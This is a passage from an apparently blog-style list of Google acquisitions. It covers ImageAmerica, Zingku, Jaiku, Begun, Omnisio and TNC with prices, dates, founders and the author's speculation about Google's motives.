Google Maps. ImageAmerica became famous after creating black and white photos of the devastation that occurred in New Orleans during Hurricane Katrina. ImageAmerica started in 1998 and is based in Clayton, MO. The announcement was made official by Stephen Chau, Product Manager at Google. There is limited information about the founders of ImageAmerica. 50. Zingku (Price: unknown, Date Sept 2007) Zingku is a mobile social network. The company launched in 2005 as a mobile service that lets people exchange and share ideas. Its mobile platform runs on a pure text massaging system so no software installation is required. The company was founded by Sami Shalabi and Mussie Shore. The primary catch behind Zingku is that it integrates your phone with a personalized homepage. I have no idea what Google plans to do with the company. The acquisition was most likely for a very small amount. 51. Jaiku (Price: unknown, Date Oct 9, 2007) Jaiku is a microblogging service like Twitter. It was founded by Jyri Engeström and Petteri Koponen in 2006. The company was started in Finland. Jaiku lets users share their activity streams with friends. Users can add to their stream via the Web, IM, and SMS. The site is still in closed beta. 52. Begun (Price: $140 Million, Date July 18, 2008) Begun is a six-year-old Russian contextual ad company. Begun is one of the largest online ad providers in a rapidly growing Russian market. Google primarily acquired Begun for market share. 53. Omnisio(Price: $15 Million, Date July 30, 2008) Omnisio is a very cool interactive video startup. It’s a Y-Combinator backed company founded by Ryan Junee, Julian Frumar, and Simon Ratner. Users can share annotate videos on the site. One of the best features of the site is the ability to synchronize PowerPoint slides to a video. Google most likely purchased the company for the talent. They plan to incorporate the company’s technology into YouTube. 54. TNC (Price: Price: unknown, Date Sept 12, 2008) TNC is a Korean blogging platform company founded by Chang Kim. Google’s search engine is not a market leader in Korea. Naver takes the cake for top search engine in the country. Therefore, Google needs a stronger presence in Korea. TNC is the company behind Textcube, a WordPress-like bloggine engine. WordPress is largely unknown in Korea.